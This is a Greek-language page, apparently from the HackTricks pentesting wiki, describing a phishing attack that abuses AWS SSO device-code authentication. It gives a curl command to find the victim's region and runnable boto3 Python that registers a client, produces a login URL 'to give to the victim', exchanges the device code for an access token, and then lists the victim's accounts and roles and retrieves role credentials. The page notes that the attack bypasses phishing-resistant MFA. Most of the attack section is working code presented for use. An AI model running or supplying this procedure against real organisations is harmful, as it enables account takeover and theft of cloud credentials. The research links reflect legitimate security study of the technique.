Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα τηλεγραφήματος ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Αρχικά προτάθηκε σε αυτήν την ανάρτηση στο blog, είναι δυνατό να σταλεί ένας σύνδεσμος σε έναν χρήστη χρησιμοποιώντας το AWS SSO που αν ο χρήστης τον αποδεχτεί ο επιτιθέμενος θα μπορεί να λάβει ένα διακριτικό για να προσωποποιήσει τον χρήστη και να έχει πρόσβαση σε όλους τους ρόλους στους οποίους ο χρήστης έχει πρόσβαση στο Κέντρο Ταυτότητας.
Για να πραγματοποιηθεί αυτή η επίθεση, οι προϋποθέσεις είναι:
- Το θύμα πρέπει να χρησιμοποιεί το Κέντρο Ταυτότητας
- Ο επιτιθέμενος πρέπει να γνωρίζει το υποτομέα που χρησιμοποιεί το θύμα
<victimsub>.awsapps.com/start
Μόνο με αυτές τις πληροφορίες, ο επιτιθέμενος θα μπορεί να στείλει έναν σύνδεσμο στον χρήστη που αν αποδεχτεί θα χορηγήσει στον επιτιθέμενο πρόσβαση στο λογαριασμό χρήστη του AWS.
- Εύρεση του υποτομέα
Το πρώτο βήμα του επιτιθέμενου είναι να βρει τον υποτομέα που χρησιμοποιεί η εταιρεία θύματος στο Κέντρο Ταυτότητας τους. Αυτό μπορεί να γίνει μέσω OSINT ή μαντείου + BF καθώς οι περισσότερες εταιρείες θα χρησιμοποιούν το όνομά τους ή μια παραλλαγή του εδώ.
Με αυτές τις πληροφορίες, είναι δυνατό να αποκτηθεί η περιοχή όπου διαμορφώθηκε το Κέντρο Ταυτότητας:
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
- Δημιουργήστε το σύνδεσμο για το θύμα & Αποστείλτε τον
Εκτελέστε τον παρακάτω κώδικα για να δημιουργήσετε έναν σύνδεσμο σύνδεσης AWS SSO ώστε το θύμα να πιστοποιηθεί.
Για την επίδειξη, εκτελέστε αυτόν τον κώδικα σε ένα παράθυρο python console και μην τον κλείσετε καθώς αργότερα θα χρειαστείτε μερικά αντικείμενα για να λάβετε το token:
import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
- Περιμένετε μέχρι ο θύμα να το αποδεχτεί
Αν το θύμα ήταν ήδη συνδεδεμένο στο AWS, θα χρειαστεί απλώς να αποδεχτεί τη χορήγηση των δικαιωμάτων, αν δεν ήταν, θα πρέπει να συνδεθεί και στη συνέχεια να αποδεχτεί τη χορήγηση των δικαιωμάτων.
Έτσι φαίνεται η πρόταση σήμερα:
- Λάβετε το διακριτικό πρόσβασης SSO
Αν το θύμα αποδέχτηκε την πρόταση, εκτελέστε αυτόν τον κώδικα για να δημιουργήσετε ένα διακριτικό πρόσβασης SSO προσωποποιώντας τον χρήστη:
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
Το SSO access token είναι έγκυρο για 8 ώρες.
- Προσωποποίηση του χρήστη
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
Είναι διασκεδαστικό να γνωρίζετε ότι η προηγούμενη επίθεση λειτουργεί ακόμα κι αν χρησιμοποιείται ένα "μη αλιεύσιμο MFA" (webAuth). Αυτό συμβαίνει επειδή η προηγούμενη διαδικασία ποτέ δεν αφήνει τον χρήστη τον τομέα OAuth που χρησιμοποιείται. Όχι όπως σε άλλες αλιευτικές επιθέσεις όπου ο χρήστης χρειάζεται να αντικαταστήσει τον τομέα σύνδεσης, στην περίπτωση της διαδικασίας κώδικα συσκευής είναι προετοιμασμένος έτσι ώστε ένας κώδικας να είναι γνωστός από μια συσκευή και ο χρήστης μπορεί να συνδεθεί ακόμα και από διαφορετικό υπολογιστή. Εάν γίνει αποδεκτή η πρόταση, η συσκευή, απλώς με το να γνωρίζει τον αρχικό κώδικα, θα μπορεί να ανακτήσει τα διαπιστευτήρια του χρήστη.
Για περισσότερες πληροφορίες σχετικά με αυτό ελέγξτε αυτήν την ανάρτηση.
- https://github.com/christophetd/aws-sso-device-code-authentication
- https://github.com/sebastian-mora/awsssome_phish
- https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/
- https://ruse.tech/blogs/aws-sso-phishing
- https://mjg59.dreamwidth.org/62175.html
- https://ramimac.me/aws-device-auth
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα τηλεγράφου ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.